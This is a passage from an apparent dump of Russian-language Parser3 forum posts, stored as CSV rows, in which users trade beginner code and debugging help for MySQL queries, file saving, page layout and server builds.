  page_body     text                  NOT NULL default '',\
  # является ли тело страницы кодом на Parser или чистым HTML?\
  is_code       enum('yes','no')      NOT NULL default 'no',  \
  # Другие свойства документа:\
  # Keywords в <title>:\
  keywords      varchar(255)          NOT NULL default '',\
  # Description в <title>:\
  description   text                  NOT NULL default '',\
  # Добавочный CSS:\
  add_css       varchar(255)          NOT NULL default '',\
  # Дозволять индексирование поисковиками?\
  allow_robots  enum('yes','no')      NOT NULL default 'yes',\
  # Шаблон оформлеения страницы:\
  template      varchar(255)          NOT NULL default 'default',\
  # Дата этой редакции документа:\
  revision      datetime              NOT NULL default '0000-00-00 00:00:00',\
  # Дополнительный комментарий:\
  notes         text                  NOT NULL default '',\
  # Автор правок:\
  author        varchar(255)          NOT NULL default 'Unknown',\
  # IP-адрес автора правок:\
  ipaddr        varchar(255)          NOT NULL default 'Not detected',\
  # Индексы\
  PRIMARY KEY          (id),\
  # Полнотекстовое индексирование <title> и <body>\
  # (не забыть тонкости поиска по <body> где is_code = yes !!!)\
  # FULLTEXT             (page_title,page_body),\
  # Индексы для ускорения выборок\
  KEY idx_doc_id       (doc_id)\
) COMMENT='Documents content - multiple versions (linked to the items in the documents tree)'; [/code]"
"19443","Я пишу так\
^if($form:section == add){\
\
начало html кода\
\
^if(def $form:date && def $form:header && def $form:announce && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, id, announce, body) \
      values  \
         ('$form:date', '$form:header', '$form:id', '$form:announce', '$form:body') \
      } \
      <div class=\"t\">Новость добавлена</div>\
      } \
}{ \
   <div class=\"t\">Для добавления новости необходимо заполнить все поля формы, нах...</div>\
} \
\
завершение html кода\
\
}\
\
\
Он говрит, что method of MAIN (MAIN) accepts maximum 3 parameter(s)\
\
[b]if[/b]\
\
Что забыл?"
"19444","ошибка была вначале, сообщение о ней  верное - т.е. не ту библиотеку поставил (а точнее,  не заменил новой)\
\
потом была другая проблема - все библиотеки заменил,  но пасрер всё-равно не работал - из=за чегоэтобыло, не знаю, скорее всего из-за сервера"
"19445","там случайно нету [url=\"/docs/lang/stringlit.htm\"]служебных символов[/url] без префиксов?\
\
и еще...\
после того, как ты найдешь эту ошибку парсер тебе сообщит, что в\
^if($form:section == add){...} add [url=\"/docs/lang/exprops.htm\"]не является числом[/url], и будет абсолютно прав..."
"19446","Сам не знаю куда она делась(ошибка).\
Страница загружается, а вот файл не сохраняется."
"19447","Собираюсь делать нечто подобное вашей галерее.\
Подскажите, пожалуйста, как вы выводите картинкив несколько строк а.т как вывести картинки по 3,4.. в строке)?"
"19448","написать для страницы форму логин\\пароль, и скрипт на Парсере, чтоб тот проверял из базы данных верны ли данные, и если все правильно выдавал информацию.\
\
Конечно, это, наверное, не самый лучший пример.\
\
Посмотрите ссылку:\
http://www.parser.ru/forum/?id=18804\
\
там конечно речь идет про админ интерфейс, но реализация логин\\пароль там присутствует."
"19449","Мне, в общем-то, не сложно указать в ошибку, но она столь распространена и, главное, обход ее документирован, что лучше я просто укажу, где ее искать.\
\
Итак:\
$date_now[^date::now[]]  \
и\
$date_now.htm"
"19450","Насколько я понял, вы имели ввиду ошибку\
[code]\
${date_now}.html\
[/code]\
я забыл о ней, хотя когда-то читал о ней в FAQ.\
Я исправил на\
[code]\
${date_now}.html\
[/code]\
но страница всё равно не сохраняется."
"19451","появилась возможность вводить и редактировать дополнительные параметры, которые скоро станут доступны другим посетителям.\
\
пожелания/сообщения об ошибках слать мне :)"
"19453","Нет, служебных символов там нет. Может еще какая проблема может быть?\
\
Про add я уже узнал экспериментируя. А вот почему нельзя использовать букв?"
"19454","@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
<html>\
<head>\
<title>^title[]</title>\
<link rel=STYLESHEET type=text/css href=admin.css>\
<link rel=SHORTCUT ICON href=^host[]logo.ico>\
</head>\
<body>\
\
@title[]\
SITe / News / Admin\
\
@navigation[] \
$sections[^table::load[/site/news/admin/sections.cfg]] \
<table width=100% border=0 cellspacing=1> \
   <tr bgcolor=#FFFFFF> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=$cell_width align=middle bgcolor=#C0C0C0>  \
   <div class=c>$sections.name</div>\
   </td> \
}{ \
   <td width=$cell_width align=middle>  \
   <div class=m><a href=$sections.uri>$sections.name</a></div> \
   </td> \
} \
\
@body[]\
^if($form:action == 1){\
<table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>\
<tr><td>\
\
<center><table border=0 cellpadding=0 cellspacing=0 width=600px>\
<tr><td bgcolor=#CC3333 valign=top><img border=0 src=^host[]images/o_t_l.gif width=4 height=4></td>\
<td width=100% bgcolor=#CC3333 align=center><a href=^host[]><div><img border=0 src=^host[]images/_logo.gif width=295 height=56 vspace=30><div></a></td>\
<td valign=top bgcolor=#CC3333><img border=0 src=^host[]images/aotr.gif width=4 height=4></td></tr>\
<tr><td colspan=3></td></tr>\
<tr><td colspan=3 bgcolor=#C0C0C0>\
^navigation[]\
</td></tr>\
</table></center>\
\
<center><table border=0 cellpadding=0 cellspacing=0 width=600px height=1px><tr><td></td></tr></table></center>\
\
<center><table border=0 cellpadding=20 cellspacing=0 width=600px bgcolor=#E6E6E6>\
<tr><td>$calendar_locale[ \
   $.month_names[ \
         $.1[января] \
         $.2[февраля] \
         $.3[марта] \
         $.4[апреля] \
         $.5[мая] \
         $.6[июня] \
         $.7[июля] \
         $.8[августа] \
         $.9[сентября] \
         $.10[октября] \
         $.11[ноября] \
         $.12[декабря] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<form method=POST> \
<table border=0 cellpadding=0 cellspacing=0 width=100%>\
<tr><td><div class=t>Дата:&nbsp;</div></td><td width=\"100%\"> <input name=date style=\"width: 100%\" value=\"${now.day} $calendar_locale.month_names.[$now.month] ${now.year}\"></td></tr>\
<tr><td><div class=t>Заголовок:&nbsp;</div></td><td width=100%><input name=header style=\"width: 100%\"></td></tr>\
<tr><td><div class=t>ID:&nbsp;</div></td><td width=100%><input name=id style=\"width: 100%\" value=\"^connect[$connect_string]{\
$news[^table::sql{select id+1 as id from news ORDER BY `ID` DESC}[$.limit(1)]]\
^if($news){^news.menu{$news.id}}{Ошибка}}\"></td></tr></table>\
<p>\
<div class=t>Анонс:</div><textarea cols=50 name=announce rows=2 style=\"width: 100%\"></textarea></p>\
<p><div class=t>Текст:</div><textarea cols=50 name=body rows=10 style=\"width: 100%\"></textarea> \
</p> \
<p> \
<center>\
<input type=submit value=\"Добавить\" name=posted>&nbsp;&nbsp;&nbsp; \
<input type=reset value=\"Отменить все\">&nbsp;&nbsp;&nbsp; \
<input type=button value=\"Выйти\" style=\"color: #CC3333\">\
</p> \
</form> \
#начало обработки \
^if(def $form:date && def $form:header && def $form:announce && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, id, announce, body) \
      values  \
         ('$form:date', '$form:header', '$form:id', '$form:announce', '$form:body') \
      } \
      <div class=t>новость добавлена</div>\
      } \
}{ \
   <div class=t>для добавления новости необходимо заполнить все поля формы</div>\
} \
</center></td>\
</tr></table></center></div>\
\
</td></tr>\
</table>\
}\
\
@footer[]\
</body>\
</html>"
"19457","Что если все открытые теги в методе закрывать, помоему код станет приятней. К примеру делать так:\
[code]\
@main[]\
<html>\
	<head>\
		<title>^title[]</title>\
	</head>\
	<body>\
	<table>\
		<tr>\
			<td>^header[]</td>\
		</tr>\
		<tr>\
			<td>^navigation[]</td>\
		</tr>\
		<tr>\
			<td>^body[]</td>\
		</tr>\
		<tr>\
			<td>^footer[]</td>\
		</tr>\
	<table>\
	</body>\
</html>\
\
^title[] # Default\
Main page\
\
# и.т.д.\
[/code]"
"19459","Вы правы, я неправильно понял документацию.\
Дописал к коду\
\
[code]\
^http://путь_к_файлу/имя_файла.save[text;${date_now}.html]\
[/code]\
\
не работает, файл не сохраняется."
"19461","Я не могу понять, как использовать приведенный вами фрагмент кода.\
Попробовал несколько вариантов :-)\
\
Во всех случаях получаю:\
\
exception in request exception handler: Exception 0xE06D7363 at 0x77E89B01"
"19463","Хотя, я думаю, хорошее предложение."
"19464","Первым делом загружаем:\
[code]\
$file[^file::load[text;тут_имя_файла_префикс_http_указан]]\
[/code]\
Потом сохраняем:\
[code]\
^file.save[text;${date_now}.html]\
[/code]"
"19466","Спасибо Misha v.3, Roman Grudzinski, Sergey M.!"
"19467","...не сохраняется файл. Страница запускается без ошибок, файл который я хочу сохранить существует. Ну никак не пойму в чём проблема.\
\
Вот код моей страницы загрузки:\
\
[code]\
@title[]\
Load\
\
@body[]\
\
@load[]\
$date_now[^date::now[]]\
\
$file[^file::load[text;тут_имя_файла_префикс_http_указан]]\
^file.save[text;${date_now}.html]\
\
^load[]\
[/code]"
"19468","достаточно было [b]внимательно[/b] прочитать текст по приведенным мной ссылкам... всего 2 страницы текста...\
\
нет же...\
[quot]\
служебных символов там нет\
[/quot]\
..."
"19471","...\
\
${date_now.year}-${date_now.month}-${date_now.day}\
\
но страница не сохраняется."
"19472","Да еще и бесконечная рекурсия получается (поскольку load сам себя вызывает)... Переставьте ^load[] по крайней мере в @body[] или (для проверки) в @main[]..."
"19473","Можно ли работать с PArser' ом на Linux? Если да то, есть значение какой у меня дистрибутив стоит?"
"19474","... который подходит для многих версий Linux. Ну и, конечно, есть исходники..."
"19475","Переложил весь [code]@load[][/code] в auto.p, только исправил [code]${date_now}.html[/code] на\
\
[code]\
${date_now.year}-${date_now.month}-${date_now.day}.html]\
[/code]\
\
А в файле загрузки оставил только\
\
[code]\
@title[]\
Load\
\
@body[]\
^load[]\
[/code]\
\
Дейстительно, с размещением кода я проглядел.\
Работает, файл сохраняется.\
\
Спасибо Sumo, Roman Grudzinski, Luzhnikovskiy, Misha v.3!"
"19476","на некотром сайте на главную страницу выводятся 4 рубрики. Сечас это 4 разных запроса к базе mysql. Вопрос в чем возможно, если все данные переместить в одну таблицу, возможно ли одним sql запросом по каждой рубрике раздать информацию? Заранее благодарен за ответы, и прошу прощения за отнятое у вас время."
"19480","проблема была в версии gc (6.2) - с версией 6.1 все получилось"
"19482","[quot]\
...которые [b]скоро[/b] станут доступны другим посетителям...\
[/quot]"
"19483","Если цель ускорение работы, то лучше разнести данные в 2 таблици\
1) информация о содерщимом\
2) собственно содержимое\
\
Вопрос в другом, а оно действительно нужно?\
\
./parser/Ученик/Олег ;)"
"19484","е сть скрипт который добавляет новые статьи. выглядет это как десяток полей, среди них есть textarea. содержимое сохраняется в xml файл.\
Вопрос; как сохранить переносы? я имею ввиду\
\
---\
\
первая строка\
...\
последняя строка\
\
--\
первращялись там в \
\
\
<para>первая строка</para>\
<para>...</para>\
<para>последняя строка</para>"
"19485","GNU gdb 4.18\
Copyright 1998 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i386-unknown-freebsd\"...\
(gdb) r\
Starting program: /usr/local/src/parser/310/parser3/src/targets/cgi/parser3\
\
Program received signal SIGSEGV, Segmentation fault.\
0x2814cf4f in GC_mark_from (mark_stack_top=0x81470a8, mark_stack=0x81470a8,\
647               deferred = *limit;\
Current language:  auto; currently c\
(gdb) bt\
#0  0x2814cf4f in GC_mark_from (mark_stack_top=0x81470a8,\
    mark_stack=0x81470a8, mark_stack_limit=0x814f0a8) at mark.c:647\
#1  0x2814c9b0 in GC_mark_some (cold_gc_frame=0xbfbff928 \"\") at mark.c:357\
#2  0x28147b50 in GC_stopped_mark (stop_func=0x281473bc <GC_never_stop_func>)\
    at alloc.c:500\
#3  0x28147863 in GC_try_to_collect_inner (\
    stop_func=0x281473bc <GC_never_stop_func>) at alloc.c:353\
#4  0x2814f1c7 in GC_init_inner () at misc.c:703\
#5  0x2814ba34 in GC_generic_malloc_inner (lb=20, k=1) at malloc.c:121\
#6  0x2814bb6a in GC_generic_malloc (lb=20, k=1) at malloc.c:190\
#7  0x2814bd2d in GC_malloc (lb=20) at malloc.c:309\
#8  0x80dd1dd in Stylesheet_manager::Stylesheet_manager (this=0x812a060)\
    at ../../src/include/pa_memory.h:42\
#9  0x80ddf16 in __static_initialization_and_destruction_0 (__initialize_p=1,\
    __priority=65535) at pa_stylesheet_manager.C:22\
#10 0x80ddf41 in global constructors keyed to stylesheet_manager ()\
    at pa_stylesheet_manager.C:22\
#11 0x80f010c in __do_global_ctors_aux () at pa_uue.C:85\
#12 0x804b87e in _init ()"
"19486","Я не очень вас понял, вы хотите одним запросом создать несколько таблиц? Такое в Parser  не возможно, даже если и возможно, то без извращений тут не обойтись.\
\
Расскажу, как я это реализовывал. Делал две таблицы, в одной была информация о рубриках, со столбцами: название и идентификатор. А в другой статьи и информация о них (эту таблицу можно поделить для оптимизации, сделать информацию отдельно от текста), со столбцами: идентификатор, идентификатор рубрики, заголовок и сам текст. Ну а дальше всё очень просто и понятно. Наверно все так и делают."
"19487","Можно так - в два этапа - match и replace\
[code]\
$str[Тут куча текста с абзацами]\
$str[^str.match[^^(.*?)^$][g]{<para>$match.1</para>}]\
$repl[^table::create[nameless]{^taint[^#0A]	</para><para>}]\
$str[^str.replace[$repl]]\
$str\
[/code]\
\
а можно так -  с одним матчем, но он работает хуже риплейса\
[code]\
$str[^str.match[(^^|\\n)(.*)(\\n|^$)][gm]{<para>$match.2</para>$match.3}]\
[/code]"
"19488","http://www.mecto.ru/parser/\
Никакого отношения к вышеприведённому сайту я не имею. ;-) (Да я серьёзно! ) Проверял поисковый запрос \"parser3\", и нашёл вышеприведённого хостера. Как мне лично кажется, там описано как раз то, чего начинающий пользователь найти просто не в состоянии на этом сайте. Чем не пример для подражания? ;-) К сожалению, \"простота\" раздела \"скачать\" данного сайта оставляет желать лучшего..."
"19489","Привет всем.\
Если кто-нибудь здесь пишет статьи о парсере (или вообще о веб-разработке) - дайте мне знать. Опубликую на http://nbsp.ru со всеми ссылками."
"19490","Я уверен на 80%, что любой пользователь того-же сервера без труда узнает ваш пароль к MySQL, после описанной процедуры установки. (Следует на все файлы с паролями или другой конфиденциальной информацией устанавливать права 600.)"
"19492","Я так понимаю это надо сделать вот так\
Пример  SQL запроса\
\
[code]\
select *\
from\
    table1, table2\
where\
    table1.id=table2.id and\
    ((section=1 and .....) or\
    (section=2 and .....) or\
    .....\
    (section=n and .....))\
[/code]\
где section - определитель нужного раздела\
\
Думаю здесь есть ошибки т.к. у меня никогда ничего с первого раза не работает"
"19493","Если об извращении, то я даже думать не хочу, как это реализовать. Не люблю извращаться :)\
\
А если об изложенной мною мысли, то запрос, который вы привели, мне не очень нравится, не динамичный он какой-то, чтобы удалить или добавить новый раздел придется лезть в код и править. Вот пример кода, который будет выводить заголовки статей, все заголовки разбиты на рубрики. Сколько рубрик столько и запросов (кроме одного), разве это так страшно?\
\
[code]\
$sections[^table::sql{SELECT id, name FROM sections}]\
^sections.menu{\
	<ul>\
		<li>\
			$sections.name\
			$articles[^table::sql{SELECT title FROM articles WHERE id_section = $sections.id}]\
			^articles.menu{\
				<ul>\
					<li>$articles.title</li>\
				</ul>\
			}\
		</li>\
	</ul>\
}\
[/code]"
"19494","Подскажите свои мнения, если не трудно\
\
Задача такая: требуется сделать регистрацию пользователя в несколько этапов (ну, например, как при регистрации на mail.ru или  ещё где)\
Возникли вопросы:\
\
1. Как передавать параметры от страницы к странице - после первой же страницы заносить их в базу, а потом на каждой странице излекать или передавать всё post'ом\
Нужно, чтобы пользователь не мог сохранить страницу на диск,  подправить там что-нить и дальше запускать\
2. как сделать, чтобы пользователь не мог нажать бэк или релоад - то бишь,  чтобы при нажатии приходилось начинать всё заново\
3. и вообще, общие принципы создания регистраций (или где их почитать)"
"19495","Зрим в корень :)\
видим:\
\
Вопрос в чем возможно, если все данные переместить в одну таблицу, возможно ли одним sql запросом по каждой рубрике раздать информацию?\
\
1. Данные в одну таблицу переместить возможно. (но лучше в две)\
2. Все рубрики одним SQL запросом вытащить можно надо отметить на одну страницу. (Образец SQL запроса я приводил до этого, где section = рубрика)"
"19496","Как вы могли заметить столбцы и строки задаются в настройках, которые затем сохраняются в cookie\
Именно из cookie я узнаю сколько картинок выводить.\
Теперь относительно самого вывода.\
Я вывожу все картинки в menu, и после каждого вывода проверяю, если количество картинок в строке меньше, чем указано в куке, то продолжаю выводить, если равно, прерываю строку и перехожу на новую.\
Вот собственно все... За подробными объяснениями пишите в мыло. За срочность ответа не ручаюсь, т.к. в отпуске."
"19497","1. Если необходимо, чтобы пользователь не мог ничего изменить, то заносить в базу.\
2. Заносить в базу последний выполненный шаг. Если загружается страница с шагом равным (или меньшим) выполненному, то удалять запись.\
3. Самое главное, чтобы пользователю было удобно."
"19499","gmake[3]: Entering directory `/usr/local/src/parser/310/sql/parser3pgsql-3.1.0/libltdl'\
./../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.     -g -O2 -c -o ltdl.lo `test -f 'ltdl.c' || echo './'`ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I. -g -O2 -c ltdl.c  -fPIC -DPIC ltdl.c:28: config.h: No such file or directory\
\
Что я делаю не так? :-)"
"19500","вообще как хостинг в целом?"
"19501","можно ли при открытии развернуть окно браузера на полный экран средствами парсер? если нет то чем можно, или вообще нельзя?"
"19504","По-моему, это может сделать только сценарий на стороне клиента.\
\
И вообще это право пользователя, ему решать на весь экран или нет."
"19505","#if HAVE_CONFIG_H\
#       include \"config_auto.h\"\
#else\
#       include \"config_fixed.h\"\
#endif"
"19506","Если установить их как «сессия» они создадутся только в памяти, но есть люди, которые cookies отключают."
"19509","правда тогда GETом не воспользуешся, я думаю это не страшно ;)"
"19511","Господа, помогите мудрым советом в моей ситуации, пожалуйста.\
К сожалению, пока приходиться использовать Парсер как генератор страниц для бесплатного хостинга,\
то бишь получаю набор html файлов через Teleport.\
Так вот, встал вопрос: можно ли по стоке запроса вида .../index.html?01 генерировать страницу,\
и открывать её как файл с диска?\
Как я вижу сию процедуру:\
генерация страницы по строке запроса, save.string (с именем $request:query) в указанный каталог и\
открытие его броузером путём замены того же responce body.\
Но в моём алгоритме есть проблемы: save.string код не сохраняет.\
Даже ошибки никакой не вываливается, просто не сохраняет.\
И с responce body не работал, но это уже проблема \"разобраться\".\
\
Сохранение произвожу так:\
$string{\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\
  <tr> \
    <td></td>\
    <td align=\"center\" valign=\"top\"><img src=\"pic_s.jpg\" width=\"128\" height=\"96\" border=\"0\" alt=\"\"></td>\
  </tr>\
</table>\
<br><br>}\
^string.save[append;/test.txt]\
\
В принципе, ещё более \"элегантное\" решение было бы только Телепорт заставлять \"думать\",\
что он открывает существующий на диске файл, то бишь чтобы он его и в проекте сохранял на диск,\
а на самом деле иметь лишь \"виртуальную\" сгенерированную страницу."
"19512","Вот, из своих наработок.\
Пробуйте.\
\
$limit(3)\
##pag - таблица с данными для вывода.\
<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
^pag.menu{\
##Проверка на кратность заданному лимиту колонок на строку ($limit)\
$digit[^eval((^pag.line[])/($limit))[%0.2f]]\
##вывод \"построчно\" или перескок на новую строку.\
^if(^math:frac($digit) eq 0){\
## если это последняя строка, то разделитель ($razdel - перенос строки) не нужен\
^if($line eq ^eval($pag)){$razdel{}}{\
$razdel{  </tr>\
<tr>}}}{$razdel{}}\
$pag.name\
</td>\
$razdel\
}\
</tr>\
</table>"
"19513","Для таких вещей он и предназначен. Только не ?01, а /01/ преобразуемое в ?01. В таком случае телепорт честно сохранит страницу в /01/\
А апач ведь локально уже стоит?"
"19514","Возможно ли в Парсере вызвать окошко авторизации как в PHP:\
\
Ввод сетевого пароля\
Узел: ...\
Область: ...\
Имя пользователя\
Пароль...\
\
Поиском по форуму ничего не нашел.\
Заранее благодарю.\
\
P.S. наверное глупый вопрос..."
"19515","Форма обрабатывается этим файлом:\
$config[\
^form:fields.foreach[field;value]{ \
;@${field}[]\
${value}\
}\
]\
^config.save[/vars.p]\
В итоге получается в /vars.p следущее:\
@v[]\
0.1\
 \
@owner[]\
sly\
 \
@robots[]\
all\
 \
@date_br[]\
-\
 \
@br[]\
::\
Потом в /auto.p пишу\
@USE\
/vars.p,\
а эта собака говорит, что некоторых методов не достает. Смотрю, а там в абсолютно другом порядке поля формы перебираются, причем половина вообще пропускается. Что я делаю не так?"
"19516","1. телепорт сам умеет облазить ссылки, в том числе с параметрами и сохранять на диске ЭТО с иными именами, при этом правильно корректирует все ссылки...\
\
2. насколько я смог понять, телепорт используется в данном случае исключительно как \"паук\", задача которого оббежать весь сайт, при этом каждая страничка сайта \"знает\", как сохранить себя, и вот тут возникают проблемы с параметрами... в этом случае, мне также видится лучшим решением mod_rewrite (или бесплатный fatal.ru...)\
хотя в принципе даже mod_rewrite не особо нужен. вариант: в при записи тела страницы модифицировать и урл (который ты делаешь из request) и тело документа которое ты записываешь. например, у тебя есть документб расположеный по следующему пути: /index.html?01 ты перед записью сам можешь модифицировать урл, например в такой: /01/index.html (match рулит), и кроме того, перед записью ты должен найти все урлы, которые есть в записываемом теле документа (но не том, что отдается телепорту) и тоже заменить ссылки, которые тебе не нравятся, например /index.html?02 на /02/index.html\
\
3. у вас есть неточность... при выполнении $string{...} в переменной $string содержится вовсе [b]не[/b] строка, а [url=\"/docs/lang/junctionclass.htm\"]junction[/url] (код). да, в данном случае это большой роли не играет, и при вызове ^string.save[...] происходит выполнение этого кода, и результат (теперь уже строка) записывается в файл. однако мне кажется, что тут у вас есть непонимание и вы как-нить наступите на грабли... попробуйте такой код: \
[code]\
$string{^math:random(1000)}\
^string.save[...]\
$string\
[/code]\
и сравните то, что ушло в броузер и то, что записалось в файл...\
чтобы положить в переменную [b]строку[/b], нужно использовать квадратные скобки, а не фигурные."
"19517","А можно ли организовать \"in. Проверку, находится ли документ в каталоге\" не через if, а через switch?\
\
Т.е. задаем сразу несколько каталогов. Пока никак у меня не идет)"
"19518","...а во вторых не особо понятно, что вы хотите получить...\
\
приведите:\
1. код полностью\
2. как вы его вызываете (строку запроса)\
3. что вы получаете\
4. что вы ожидаете получить\
\
теперь по вашему коду:\
1. не надо всюду ставить фигурные скобки \"шоб былО\". в строке ${value} они лишние\
2. по поводу последовательности элементов в хеше. как следует из [url=\"/docs/lang/hashforeach.htm\"]документации[/url], \"порядок не гарантируется\", т.к. хеш не предназначен для хранения упорядоченых данных (для этого есть таблицы).\
3. когда пишите в коде [url=\"/docs/lang/stringlit.htm\"]служебные символы[/url] рекомендуется их все-таки эскейтипть (хотя иногда работает и без этого)... на основании этого ваш код получается примерно таким:\
[code]\
$config[\
^form:fields.foreach[field;value]{@$field^[^]\
$value\
}[^#0A]\
]\
\
^config.save[/vars.p]\
[/code]\
\
4. что-то мне кажется подобная практика определения переменных какой-то совсем порочной и \"не в духе парсера\". может опишите задачу, которую вы решаете?"
"19519","Про произвольный порядок прочитал и понял, но то, что часть данных исчезает - непонятно.\
Если просто без ; перед @, то\
\
$config[\
^form:fields.foreach[field;value]{ \
@${field}[]\
${value}\
}\
]\
^config.save[/vars.p]\
\
- говорит, что ; необходим. При вставке на это место пробелов или табуляции методы не находятся. Если поставить птичку ^, то говорит parse error, expecting `STRING'. Тут вроде в формате записи дело. Подскажите!"
"19521","смотрите, это одно и то-же:\
[code]\
^if(условие){истина;ложь}\
[/code]\
\
и\
\
[code]\
^if(условие){истина}{ложь}\
[/code]\
\
в вашем случае то-же самое. поставив эту точку с запятой вы говорите парсету, что \"тело оператора foreach закончилось, дальше идет разделитель\".\
\
а вот про символ @ разговор особый... он не может стоять первым символом в строке, т.к. тогда парсер считает, что это начинается определение нового метода/оператора со всеми вытекающими, и проескейпить его не получается (похоже, что это \"фича\"). посмотрите как я обошел данную \"особенность\" в другом своем сообщении по этой теме..."
"19522","Лучше это сделать средствами Apache.\
http://httpd.apache.org/docs/howto/auth.html"
"19523","Я просто хочу заполнить форму, нажать кнопку и сохранить введенную инфу (адрес сайта, мыло, другие постоянно используемые методы) в файле корня, а затем автоматом подключать файл с ними и использовать. Предполагается, что можно всегда через эту форму переназначить содержимое методов, а не просто воткнуть в корневой auto.p.\
\
А про точку с запятой я на писал во втором треде."
"19524","Все заработало, как надо, спасибо!\
\
Но хотелось бы услышать, как отцы используют и хранят переменные для всего сайта."
"19525","а что тут сложного?\
1) загружаешь список каталогов\
2) выцепляешь матчем имя каталога\
3) проверить сходится ли он с тем что есть\
4) вывести что надо\
5) если нет - послать на 404\
\
примерно так"
"19526","Я не могу использовать переменные, потому что нужно вызывать в том же методе, где используешь. Поэтому использую методы.\
\
По-извращенски малость, но других способов не знаю. Подскажете?"
"19527","Выдаёт вот такую ошибку\
\
[i]\
Unhandled Exception (Debug)\
invalid number (double)\
0==0\
\
SELECT *\
FROM\
forum_message,\
forum_message_body\
WHERE\
(\
forum_message.forum_message_id=forum_message_body.forum_message_id AND\
forum_id=0 AND\
is_published=1 AND\
(forum_message.forum_message_id=0 OR\
thread_id=0)\
)\
GROUP BY forum_message.forum_message_id\
ORDER BY dt_published DESC(1)\
exception.type=number.format \
--------------------------------------------------------------------------------\
select y:/home/test2.ru/www/classes/forum.p(228)\
build_tread y:/home/test2.ru/www/classes/forum.p(221)\
if y:/home/test2.ru/www/classes/forum.p(221)\
connect y:/home/test2.ru/www/auto.p(21)\
dbconnect y:/home/test2.ru/www/classes/forum.p(199)\
print_tred_message y:/home/test2.ru/www/forum/index.html(13)\
body_main y:/home/test2.ru/www/auto.p(152)\
body y:/home/test2.ru/www/auto.p(14)\
[/i]\
\
Код файла y:/home/test2.ru/www/classes/forum.p выглядит вот так\
\
[code]\
###################################################################\
#Вывод всех сообщений указанного треда\
###################################################################\
@print_tred_message[]\
\
#Соединяемся с базой\
^MAIN:dbconnect{\
\
#Достаём данные из базы\
   $messages[^table::sql{\
        SELECT *\
        FROM\
            forum_message,\
            forum_message_body\
        WHERE\
            (\
                forum_message.forum_message_id=forum_message_body.forum_message_id AND\
                forum_id=^if(def $form:forum){$form:forum}{0} AND\
                is_published=1 AND\
               (forum_message.forum_message_id=^if(def $form:tred){$form:tred}{0} OR\
                thread_id=^if(def $form:tred){$form:tred}{0})\
            )\
        GROUP BY forum_message.forum_message_id\
\
#Сортируем список тредов в обратном порядке\
        ORDER BY dt_published ^if(^form:tred.int(0)==0){DESC}{}}]\
\
#Вызываем построитель деревьев\
^if(def $messages){^build_tread[$messages]}{}}\
\
#################################################################\
#Строим древовидную структуру\
#################################################################\
@build_tread[messag][live_message]\
#Выбираем родителя\
$sel_mes[^messag.select{$messag.parent_id==^live_message.int(0)}]\
\
#Перебираем родителей \
^sel_mes.menu{\
\
#Сокращение для читаемост ЭТО 228 СТРОКА\
$url_mes[/forum/?tred=$sel_mes.forum_message_id]\
\
#Если сообщение корневое(верхнего уровня)читаем количество сообшений в треде\
^if(^form:tred.int(0)==0){$num_messages[^table::sql{select * from forum_message where thread_id=$sel_mes.forum_message_id AND forum_id=0}]}{}\
\
#Выводим сообщения\
^shablon[^if($sel_mes.thread_id==0){$url_mes}{};$sel_mes.title;$sel_mes.dt_published;;$sel_mes.author;$sel_mes.body;\
<table>\
<tr>\
	<td valign=\"middle\">^ansver[$sel_mes.forum_message_id;^if($sel_mes.thread_id==0){$sel_mes.forum_message_id}{$sel_mes.thread_id};0]</td>\
	<td valign=\"top\">^if(^form:tred.int(0)==0){<a href=\"$url_mes\">Ответов:^num_messages.count[]</a>}{}</td>\
</tr>\
</table>]\
\
#Начинаем строительство\
<table>\
\
#Организуем отступ\
<td>&nbsp;</td>\
\
#Вызывем повторно\
<td>^build_tread[$sel_mes.forum_message.forum_message_id]</td>\
</table>\
}\
[/code]\
\
\
Заранее благодарю за любую помощь"
"19529","Я немного голову поломаю - вроде полезно, если не решу обращусь за помощью.\
\
\
Спасибо"
"19530","Спасибо.\
Попробую поэксперементировать с Apache, раз так легче :-)\
Но всё же возможно ли это сделать средствами Парсера?\
\
А ещё можно поинтересоваться, почему не нужно?"
"19531","1. если переменная глобальная, то почему не положить её в $MAIN?\
2. если не глобальная, то может оформить кусок кода как класс и переменную положить соответственно в него-же?\
3. иначе - почему не передавать её?\
\
про задачу \"вообще\":\
мне не очень понятна необходимость менять какие-то \"переменные\" сайта через формочку. мне вообще не очень понятно определение \"переменная сайта\", изменяемая через форму. может таки константа? если да, то я держу их в методе @auto[] нужного auto.p (в т.ч. корневого) или достаю из БД.\
\
хотя в общем - прикольное извращение :)"
"19532","если внимательно почитать в документации, что возвращает in \"каталог\" и с чем работает switch - то станет ясно, почему нельзя.\
\
к тому-же мне видится не очень правильным держать код, выполняющий разные действия в разных местах сайта в каком-то одном месте (хотя порой это нужно).\
\
почему не положить разный код в одноименные методы соответствующих auto.p разделов?\
\
потому, что все рерайтится на один документ? если да, то может тогда нам и in совершенно не нужен :)"
"19533","Все, да не все к одному файлу)\
Все документы получают из одного файла номер текущего выпуска и лишь один каталог, скажем архив, со всеми вложенными каталогами имеют свои номера и соответственно файлы.\
\
Все просто на самом деле. Надо правильно организовывать структуру сайта, но мне к сожелению досталась (от меня же:).) ужасная структура)))\
\
Сделал просто if`ом и еще одно условие в нем..."
"19534","Ну с моей структурой это не подходит да и слишком это уж мне кажется тяжело."
"19535","Поискал по форуму сообщения, содержащие слово ValueHOST, однако мне так и не ясно, что я неправильно делаю и что не понимаю.\
Хостинг: ValueHOST\
У них установлен Apache 1.3.20rusPL30; используют FreeBSD 4.x.\
